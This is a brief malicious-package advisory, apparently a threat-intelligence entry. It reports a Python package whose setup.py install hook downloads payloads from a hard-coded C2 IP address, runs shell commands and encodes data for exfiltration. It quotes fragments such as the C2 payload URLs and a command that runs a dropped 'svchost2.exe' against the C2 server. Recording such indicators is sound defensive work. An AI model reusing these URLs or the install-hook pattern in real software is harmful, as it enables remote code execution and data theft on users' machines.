GCVE-110-OSM-2026-8735

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py DESTINATION - custom-c2: http://115.190.124.243:9090/payload_linux_amd64 (primary, plaintext) in setup.py - custom-c2: https://115.190.124.243:8443 (plaintext) in setup.py - custom-c2: http://115.190.124.243:9090/payload_windows_amd64.exe (plaintext) in setup.py - custom-c2: 115.190.124.243 (plaintext) in setup.py EXFIL - Data Encoding for Exfiltration in qlinforge/utils.py: "base64.b64encode(" - System Information Collection in setup.py: "platform.system()" - Suspicious Domain in setup.py: "http://115.190.124.243" ADDITIONAL FINDINGS - Shell Command Execution in setup.py: "os.system(" - Setup.py Command Override in setup.py: "cmdclass={"install"" - Shell Command Variable Setup in setup.py: "Windows/Temp/svchost2.exe -s https://115.190.124.243:8443" else: cmd = None if c..." PAYLOAD FILES setup.py INDICATORS (IOCs) - payloadFileHash: 0bd34af56f626c752a778d2be06c4dd6879e625a6b58a41933d8576876ce2b6d